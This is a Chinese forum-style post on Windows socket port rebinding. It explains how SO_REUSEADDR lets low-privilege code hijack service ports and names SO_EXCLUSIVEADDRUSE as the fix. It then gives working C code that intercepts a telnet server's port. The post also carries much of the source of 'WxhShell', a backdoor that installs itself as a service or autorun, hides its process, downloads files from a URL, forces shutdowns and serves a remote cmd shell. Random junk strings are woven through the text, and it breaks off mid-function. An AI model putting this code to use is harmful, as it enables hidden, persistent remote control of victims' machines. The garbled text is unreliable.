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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9h(IUD{8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j?n+>/sG, 0'$p$K saddr.sin_family = AF_INET; |)_-Bi;MW` GIHpSy`z saddr.sin_addr.s_addr = htonl(INADDR_ANY); PI5j"u UO n"aCt%v bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E@
h
y7 X Gk~l,wV> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6&2LWaWMo$ .gZZCf&? 这意味着什么?意味着可以进行如下的攻击: bdc\ k3@HI| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;7G_f lWy=)^)4
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =;c_} VY :Eh'( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9( VRq^Z1 |Svk^m q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ]T{E
(9 <6N_at3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nbvkP c8'Cq7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,J9}.}Hd H)JS0
G0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fB#XhO =v" xmx&4 #include ?9U:g(v #include fCEz-TMW #include Z}cIA87U #include
c>Z*/>~ DWORD WINAPI ClientThread(LPVOID lpParam); C*wdtEGq int main() _dmL}t- { Ob&W_D^=N WORD wVersionRequested; s'2Rs^,hN DWORD ret; :Z2tig nL WSADATA wsaData;
Q&+c.S BOOL val; ,hE/II`-d' SOCKADDR_IN saddr; *)PG-$6X& SOCKADDR_IN scaddr; \C\gn]Z int err; _ 5\AS+[x
SOCKET s; 3&J&^O SOCKET sc; +J40wFI:y int caddsize; ],?pe HANDLE mt; d/B* DWORD tid; iK x+6v wVersionRequested = MAKEWORD( 2, 2 ); c/$*%J< err = WSAStartup( wVersionRequested, &wsaData ); <:cpz* G4 if ( err != 0 ) { />Jm Rdf printf("error!WSAStartup failed!\n"); H'Iq~Ft1 return -1; G `Izf1B`I } 5^|"_Q#: saddr.sin_family = AF_INET; 6:RMU U(3(ZqP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /oDpgOn IgA.%}II} saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aiR5/
ZD saddr.sin_port = htons(23); %AgA -pBp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "z/V%ZK~f { \L#QR printf("error!socket failed!\n"); Hd*Fc=>"Y return -1; #O6
EP#B } y$h"ty{g val = TRUE; UG=I~{L //SO_REUSEADDR选项就是可以实现端口重绑定的 T:n<db,Px if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gy^FrF { zW)gC9_|m- printf("error!setsockopt failed!\n"); }MjQP R return -1; gD5P!}s[u0 } *zSxG[s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _jDS" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $/.<z(F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r+TK5|ke AI R{s7N if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >@:667i,`
{ 9RB`$5F;
ret=GetLastError(); rV U:VL`2 printf("error!bind failed!\n"); <hMtE/05B return -1; #'c%
} QD}1?)} listen(s,2); ?to1rFrU while(1) Np)ho8zU { D8EeZUqU caddsize = sizeof(scaddr); BP:(IP!& //接受连接请求 C;%Y\S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e|~C?Ow'J if(sc!=INVALID_SOCKET) lJlZHO { 'hy?jQ'|e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >KKeV(Ur if(mt==NULL) L2d:.&5 { jwq\stjD printf("Thread Creat Failed!\n"); ,y{0bq9*2 break; W?=$V>) } [jy0@Q9 } d4% `e&K]' CloseHandle(mt); fqN75['n } @~s~/[ closesocket(s); <_>.!9q WSACleanup(); NWb}
OXK/ return 0; k)|'JDm } Rnzqw,q DWORD WINAPI ClientThread(LPVOID lpParam) ^DzL$BX { XzW7eO,A SOCKET ss = (SOCKET)lpParam; &adY SOCKET sc; ,TEuM| unsigned char buf[4096]; =w?M_[&K) SOCKADDR_IN saddr; wZ$tJQO long num; WN$R[N DWORD val; 2YE7 23H=Z DWORD ret; G l_\Vy //如果是隐藏端口应用的话,可以在此处加一些判断 6k:y$,w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 c%ZeX%p saddr.sin_family = AF_INET; Q!YF!WoBX saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &{ DR6 saddr.sin_port = htons(23); 7Pwg+| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <{E;s)hD? { r }ZLf printf("error!socket failed!\n"); kJI3`gS+ return -1; u1tq2"D8 } ``+c`F?5 val = 100; 0{-`Th+h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {d^Q7A:` { x)j/ ret = GetLastError(); kxygf9I!; return -1; {a]pF.^kf } S|~i> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >~h>#{& { ('T4Db ret = GetLastError(); mPckf return -1; ,>&?ty9o } `<S/?I8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cT_uJbP+ { 3aEt>x printf("error!socket connect failed!\n"); hN& yc closesocket(sc); lr`?yn1D( closesocket(ss); 7X(rLd
6# return -1; P)Z/JHB } iP2U]d~M while(1) ?UxG/]", { 2^cAK t6bC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9@(O\ xr //如果是嗅探内容的话,可以再此处进行内容分析和记录 $/NGNkl[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v;K{|zUdB num = recv(ss,buf,4096,0); ]&&I|K_ if(num>0) ^:qpa5^" send(sc,buf,num,0); qRgK_/[] else if(num==0) pZc9q8j3 break; Coga-: 2vu num = recv(sc,buf,4096,0); R'vdk< if(num>0) 5JQd)[Im send(ss,buf,num,0); u86J.K1Q else if(num==0) Bx\#`Y break; U,oD44 } A28ZSL closesocket(ss);
g|tNa/ closesocket(sc); vs5
D:cZ} return 0 ; zzulVj* } j09mI$2y67 B$K7L'e+- sqm%iyC=q ========================================================== e7Yb=/F F@>w&A~K 下边附上一个代码,,WXhSHELL ~| X99?P #]?,gwvTf ========================================================== +9<,3IJe6 P Xyyyir{ #include "stdafx.h" @qg0u#k5 x(C]O, #include <stdio.h> &M!4]pow #include <string.h> 3&.TU5]`- #include <windows.h> Jm{As*W> #include <winsock2.h> v&t`5-e-A #include <winsvc.h> '0\0SL #include <urlmon.h> jD&}}:Dj 0hHIz4( #pragma comment (lib, "Ws2_32.lib") wZ
(uq?3S` #pragma comment (lib, "urlmon.lib") Hl%+F0^? |YG)NO #define MAX_USER 100 // 最大客户端连接数
y)N.LS #define BUF_SOCK 200 // sock buffer >m)2ox_B #define KEY_BUFF 255 // 输入 buffer /u"
cl2| #C;#$|d #define REBOOT 0 // 重启 sqq/b9 uL/ #define SHUTDOWN 1 // 关机 Vp- n(Z |-SI(Khjk #define DEF_PORT 5000 // 监听端口 @F""wKnV fzGZ :L #define REG_LEN 16 // 注册表键长度 [ *mCa:^ #define SVC_LEN 80 // NT服务名长度 1s^$oi} dpc=yXg>"c // 从dll定义API 7|{%CckN
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (&N$W& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e!:?_z." typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .R<s<] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nU">> 1!U ek+8hnkh // wxhshell配置信息 `#IT24! struct WSCFG { E|8s2t int ws_port; // 监听端口 &CPe$'FYI char ws_passstr[REG_LEN]; // 口令 ]aL [ int ws_autoins; // 安装标记, 1=yes 0=no D@YM}HXuj char ws_regname[REG_LEN]; // 注册表键名 ];wohW% char ws_svcname[REG_LEN]; // 服务名 %n V@'3EI char ws_svcdisp[SVC_LEN]; // 服务显示名 a*$1la'Uf char ws_svcdesc[SVC_LEN]; // 服务描述信息 x""Mxn]gD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $[^ KCNB int ws_downexe; // 下载执行标记, 1=yes 0=no ]i_):@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" W4] 0qp`\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SqT"/e]b' Wpg?%+Y }; JOE{&^j H$($l<G9C // default Wxhshell configuration \`<s@U struct WSCFG wscfg={DEF_PORT, |'l* $ "xuhuanlingzhe", N;Gf,pE 1, jy)9EU= "Wxhshell", Y9(i}uTi "Wxhshell", iM-hWhU "WxhShell Service", {(zL"g46 "Wrsky Windows CmdShell Service", 0UAr}H.: "Please Input Your Password: ", =4%WOI 1, qz_TcU' " http://www.wrsky.com/wxhshell.exe", "~,(Xa3x "Wxhshell.exe" B )3SiU }; daokiU+l2 a1Y _0 // 消息定义模块 14)kKWG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >Gu>T\jpe. char *msg_ws_prompt="\n\r? for help\n\r#>"; mrBhvp"" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Yhv`IV-s char *msg_ws_ext="\n\rExit."; ]a@v)aa- char *msg_ws_end="\n\rQuit."; %L=h}U13 char *msg_ws_boot="\n\rReboot..."; 6T'43h. : char *msg_ws_poff="\n\rShutdown..."; q~A|R char *msg_ws_down="\n\rSave to "; Z;> aW;Wt vXWESy char *msg_ws_err="\n\rErr!"; ]H@uuPT! char *msg_ws_ok="\n\rOK!"; M`g Kt(3 Sv]"Y/N char ExeFile[MAX_PATH];
fVe-esAw int nUser = 0; iF2IR{h HANDLE handles[MAX_USER]; nd9-3W int OsIsNt; u*YuU%H= ZI:d&~1i1 SERVICE_STATUS serviceStatus; LSOwa SERVICE_STATUS_HANDLE hServiceStatusHandle; qb/!;U_ U},W/g- // 函数声明 Z-r0
D int Install(void); dL Py%q int Uninstall(void); IaZAP int DownloadFile(char *sURL, SOCKET wsh); G37L 9IG-M int Boot(int flag); ?Pf
,5=*B void HideProc(void); m`w6wz int GetOsVer(void); oFA$X Y int Wxhshell(SOCKET wsl); iO#xIl< void TalkWithClient(void *cs); cN(QTbyl6Q int CmdShell(SOCKET sock); d=Ihl30m int StartFromService(void); < 2r#vmM int StartWxhshell(LPSTR lpCmdLine); &5CeRx7% R~u7;Wv VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iDe0 5f1R VOID WINAPI NTServiceHandler( DWORD fdwControl ); hYQ%|CBXBR ]7ZC>.t
// 数据结构和表定义 f;I"tugO SERVICE_TABLE_ENTRY DispatchTable[] = WxI]Fcb< { l%V}'6T {wscfg.ws_svcname, NTServiceMain}, m=b+V#4i( {NULL, NULL} JQv
ZTwSI }; &?6~v
{twf7.eY // 自我安装 T</gWW int Install(void) 9d|7#)a; { ;:YjgZ:+Q] char svExeFile[MAX_PATH]; ZI*A0_;L HKEY key; lY8Qy2k| strcpy(svExeFile,ExeFile); $e,!fB;B ?~9X:~6\ // 如果是win9x系统,修改注册表设为自启动 =njj.<BO if(!OsIsNt) { biuo.OG] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )x $Vy= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / S^m!{ RegCloseKey(key); KV(W|~+ rM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v2<gkCK^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &cejy>K RegCloseKey(key); iC\=U return 0; JVCgYY({KQ } 7q=xW6 } DEuW' .o> } J@-9{< else { `{[C4]Ew/ SQvB)NOw // 如果是NT以上系统,安装为系统服务 vK/Z9wR*05 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vCr$miZ if (schSCManager!=0) JH,+F { ZPFTNwf SC_HANDLE schService = CreateService tV%\Jk), ( }z:=b8} schSCManager, 61 |xv_/ wscfg.ws_svcname, G7xjW6^T wscfg.ws_svcdisp, N_}Im>;! SERVICE_ALL_ACCESS, u>@G:kt8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uQ)]g SERVICE_AUTO_START, `84yGXLK SERVICE_ERROR_NORMAL, $9$NX/P svExeFile, o*8 pM`uw NULL, b&&'b) NULL, M6n.uho/ NULL, )f|6=x4 NULL, X ^)5O>>|t NULL Q4 S8NqE ); 3j#F'M)s{ if (schService!=0) -hfY:W`Dz { \|s/_35( CloseServiceHandle(schService); bBL"F!. CloseServiceHandle(schSCManager); o$;x[US strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YzVLa,[ strcat(svExeFile,wscfg.ws_svcname); j'cS_R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ru
Lcu] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jeNEC&J RegCloseKey(key); jiDYPYx;I return 0; \U8Vsx1tl } -tJ*F!w6U } C7:Ry)8'I CloseServiceHandle(schSCManager); 6OUjc } ,y @3'~ } "a7d`l: 9IMcp~zX return 1; it@s(1EO# } 4)z](e$ lw{|~m5` // 自我卸载 Zx{'S3W int Uninstall(void) sa($3`d { A
|B](MW%O HKEY key; a;sZNUSn h9mR+ng*oD if(!OsIsNt) { fyeS) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H?m2|. RegDeleteValue(key,wscfg.ws_regname); ~%ZO8X:^ RegCloseKey(key); PE>_;k-@k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2I RegDeleteValue(key,wscfg.ws_regname); |9h[Q[m RegCloseKey(key); JB7]51WH@ return 0; i`X{pEKP+ } B(5g&+{Lq~ } idq= US } 622).N4 else { (46)v'? gQ[4{+DSf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L [^e<I if (schSCManager!=0) U+z&jdnhDR { D{mu2'q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (~#9KA1A} if (schService!=0) h?b{{ { x8^Dhpr6 if(DeleteService(schService)!=0) { Fpb1.Iz CloseServiceHandle(schService); NTC,Vr\A CloseServiceHandle(schSCManager); ]5/C" return 0; '"&?u8u) } udB}`<Q CloseServiceHandle(schService); ?s//a_nL* } ZO,]h9?4 CloseServiceHandle(schSCManager); B0:O]Ax6.^ } {_Y\Y } u=4Rn
Y<B| e91C return 1; yC
-4wn* } W<2-Q,>Y ]T$~a8 // 从指定url下载文件 B`vV[w? int DownloadFile(char *sURL, SOCKET wsh) @!S5FOXipZ { ,T]okN5uI HRESULT hr; QAR<.zXvP char seps[]= "/"; uJ[dO} char *token; >7n(*M char *file; xN5}y3 char myURL[MAX_PATH]; 6|zA,-= char myFILE[MAX_PATH]; y,aASy!Q U@9n7F strcpy(myURL,sURL); c9Cp!.#*E token=strtok(myURL,seps); Y!5-WXH
while(token!=NULL) 'b-}KDP { 5yry$w$G) file=token; n@*NQ`(_ token=strtok(NULL,seps); @=$;^}JS| } 5n_<)Ycj 7&X^y+bMe6 GetCurrentDirectory(MAX_PATH,myFILE); 6,!]x>B strcat(myFILE, "\\"); NEX\+dtE~0 strcat(myFILE, file); q|S }5 send(wsh,myFILE,strlen(myFILE),0); 6`4=!ZfI send(wsh,"...",3,0); y'(;!5w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wL:3RZB if(hr==S_OK) lOVsp# return 0; GSypdEBj+w else /Qbt return 1; xC|7"N^/ :}Z+K*%o- } N/Z<v* i" myH#.$=A // 系统电源模块 ^)X^Pcx int Boot(int flag) Ra.<D. { q
K]Wk+ HANDLE hToken; hEDj"`Px TOKEN_PRIVILEGES tkp; Z(Xu>ap qPWYY if(OsIsNt) { 6%:N^B=%} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d<xBI,g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HJwj,SL tkp.PrivilegeCount = 1; !}U&%2<69 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XmLHZ,/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oveW )~4 if(flag==REBOOT) { rqifjsv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JWC{ "6 return 0; gJ :Z7b } /,wG$b+ else { q_JES4ofx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f ~9ADb return 0; UDhW Y.`'~ } iYR8sg[' # } " J$vt` else { >AJtoJ=j if(flag==REBOOT) { t-e:f0iz if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S&FMFXF@ return 0; VcA87*pel } nx84l 7< else { Xrc0RWXB8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Cvo^cC return 0; 0fwo8NgX } VQ2)qJ#l } #X`j#"Ov2( EX=Q(} 9F< return 1; o=7 -&F. } u+kXJ }hhDJ_I5M // win9x进程隐藏模块 4cl}ouG void HideProc(void) (ybKACx { YOy/'Le^: ZU5hHah.t HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y 8EL if ( hKernel != NULL ) Quqts(Q) + { YOqGFi~` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c\065#f! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QQj)"XJ29 FreeLibrary(hKernel); .IE2d%]? } iG!tRNQ{y ] K3^0S/ return; g/)mbL>= } 1.6yi];6 _Y?p =; // 获取操作系统版本 (Z fY/ int GetOsVer(void) f![?og)I% { >,yE;zuw OSVERSIONINFO winfo; `qbf_;\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rt} H.D
# GetVersionEx(&winfo); L'iENZI$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GWsvN&nr return 1; _0Qp[l-
else E_[|ZrIO&* return 0; *<c, x8\s9 } 1Rg tZp% US[{
Q // 客户端句柄模块 ry)g<OA int Wxhshell(SOCKET wsl) roSdcQTeT { gi\2bzWkbX SOCKET wsh; @ qy
n[C struct sockaddr_in client; 0}tf*M+a DWORD myID; ek\8u`GC jM]B\cvN while(nUser<MAX_USER) a~ sU { a|?& int nSize=sizeof(client);
ieo Naq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JcV'O)& if(wsh==INVALID_SOCKET) return 1; g?&_5)& [CxnGeKK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ldk (zAB. if(handles[nUser]==0) @-ps[b`z closesocket(wsh); @`t#Bi9 else v%a)nv nUser++; >n3w'b } mqe83 k% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \vwsRT 1 +U9m return 0; sT8(f=^)8F } JV_VF' -7-r~zmr // 关闭 socket q9+`pj void CloseIt(SOCKET wsh) VS`
tj { )c*NS7D~f closesocket(wsh); LL% Aw)Q` nUser--; @2(7
ZxI ExitThread(0); Q+bZZMK5,U } H#/ #yVw 3T1t !q4/5 // 客户端请求句柄 &k53*Wo void TalkWithClient(void *cs) @}K|/ { ?OjZb'+=K yBKEw(1 SOCKET wsh=(SOCKET)cs; mv1g2f+ char pwd[SVC_LEN]; 0nOkQVMk> char cmd[KEY_BUFF]; @~p;.=1]F char chr[1]; KYw~(+gHv2 int i,j; )}!Z^ND* 0+3_CS++r while (nUser < MAX_USER) { |NMf'$ Budo9z_w if(wscfg.ws_passstr) { !m {d6C[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [KcF0%a //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WR|n> i@m //ZeroMemory(pwd,KEY_BUFF); xxy
(#j$ i=0; Xmb001 while(i<SVC_LEN) { vQH6CB" TKH!,Ow9A // 设置超时 p[LPi5 fd_set FdRead; ioW&0?,Ym struct timeval TimeOut; {u}d`%_.M FD_ZERO(&FdRead); [LF<aR5 FD_SET(wsh,&FdRead); fvE:'( #? TimeOut.tv_sec=8; 1ze\ U> TimeOut.tv_usec=0; QH5[}zs8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6lAHB*` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F=g+R~F x*#9\*@EI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9cqq"-$G` pwd =chr[0]; )lhPl if(chr[0]==0xd || chr[0]==0xa) { GbB:K2 pwd=0; [,a2A break; )JsmzGC0 } ).$q9G i++; bC h } w<|Qezi3
w zn)Kl%N^ // 如果是非法用户,关闭 socket w7E7r?)Wl| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9aoGptgN } #S|DoeFs 7[I%UP send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +1pY^#A send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B:]%Iu| al1Nmc# while(1) { 'DdR2 ozOvpi:k3% ZeroMemory(cmd,KEY_BUFF); 9Hm>@dBhM /%{Qf // 自动支持客户端 telnet标准 (:r80: j=0; eqQ=HT7J while(j<KEY_BUFF) { _`~\zzUZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i XPe cmd[j]=chr[0]; D!WyT`T if(chr[0]==0xa || chr[0]==0xd) { <$@*'i^7Ez cmd[j]=0; -d)+G%{ break; _O;2.M%@ } Wz+7CRpeP j++; W lHK } nXJG4$G z@Uf@~+U // 下载文件 6F:<c if(strstr(cmd,"http://")) { OzA'd\| send(wsh,msg_ws_down,strlen(msg_ws_down),0); `|`Qrv4} if(DownloadFile(cmd,wsh)) jnIf(a send(wsh,msg_ws_err,strlen(msg_ws_err),0); PC)aVr?@@ else Ql]+,^kA@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0^9%E61YR } ~5]%+G else { Q4h6K7 Kd!.sB/% switch(cmd[0]) { x2h5,.K ,GUOq!z // 帮助 jt`\n1q) case '?': { <! Z06 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9D[Jn}E: break; vhd +A } uW0D m# // 安装 NbPNcjPL case 'i': { _?oofE:{ if(Install()) TGH"OXV*@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); T)o>U&KNP else W)jtTC7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {'a|$u+ break; QWI)Y:<K/ } <?FkwW\? // 卸载 p;Nq(=]
\ case 'r': { 0sfb$3y if(Uninstall()) l4$Iv: send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q>85IiT else h.jO3q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c^1tXu|& break; @hwe } 'h87A-\!F // 显示 wxhshell 所在路径 :5[1Iepdn case 'p': { g[Q+DT char svExeFile[MAX_PATH]; {Jc.49 strcpy(svExeFile,"\n\r"); jSMxb a] strcat(svExeFile,ExeFile); d1';d6.u\ send(wsh,svExeFile,strlen(svExeFile),0); -dS@l'$ break; ./35_Vy/O } i:60|ngK // 重启 \:4SN&I~ case 'b': { 1) Nj.#) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k}0b7er=R if(Boot(REBOOT)) &embAqW: send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^X;p8uBo else { b\S~uFq6 closesocket(wsh); w:+&i|H >
ExitThread(0); UDW_?SHAx } =2@V} break; an2Yluc; } CE @[Z // 关机 .: k6Kg case 'd': { d:pGdr& . send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {zalfw{+
if(Boot(SHUTDOWN)) $!$,cKPl5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); {fJCj152. else { e2yCWolmTS closesocket(wsh); m*.+9 6 ExitThread(0); sa TS8p z } '+\t,>nRkl break; t:"3MiM=c } (H8JV1J // 获取shell @`qB[<t8:< case 's': { qrf90F) CmdShell(wsh); *-*SCA`E^= closesocket(wsh); h[mJ=LIrg ExitThread(0); k [LV^oEg break; 6Ad C } _2Mpzv // 退出 Sc]G7_ case 'x': { \ CX6~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "W~vSbn7 CloseIt(wsh); #{?~XS break; =*R6O, } R?IRE91 : // 离开 Q'Tg0,,S case 'q': { &$ud;r# send(wsh,msg_ws_end,strlen(msg_ws_end),0); u 7:Iv closesocket(wsh); !hFhw1 WSACleanup(); d^f rKPB exit(1); J;=T"C& break; d8iq9AP\o } ,OERDWW|6 } ^qzH(~g{M } f>bL
}L !6x7^E;c // 提示信息 |s;'] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `ZbFky{ } lu8*+.V } S@g(kIo] jwUX?`6jX return; YN+vk}8 < } 5 5m\,UG7 uuxVVgWp{ // shell模块句柄 }8POm# int CmdShell(SOCKET sock) k(M:#oA! { ^,#my<{ STARTUPINFO si; v`{N0 R ZeroMemory(&si,sizeof(si)); -i1 f
]Bd si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N/ f7"~+` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YM};85 K PROCESS_INFORMATION ProcessInfo; |-)8=QDz)r char cmdline[]="cmd"; AL.psw-Il CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;1s+1G}_z return 0; ~USt&? } z DU=2c4W9 *yaS^k\ // 自身启动模式 zh|9\lf int StartFromService(void) DzQ { Zk`yd8C typedef struct Fs].Fa {
o8Gygi5 DWORD ExitStatus; fGO\f;P DWORD PebBaseAddress; }f]Y^>-Ux DWORD AffinityMask; wD=]U@t`, DWORD BasePriority; pF4Z4?W ULONG UniqueProcessId; 7/
?QZN ULONG InheritedFromUniqueProcessId; h%krA<G9 } PROCESS_BASIC_INFORMATION; ?oFd%|I ](A2,F
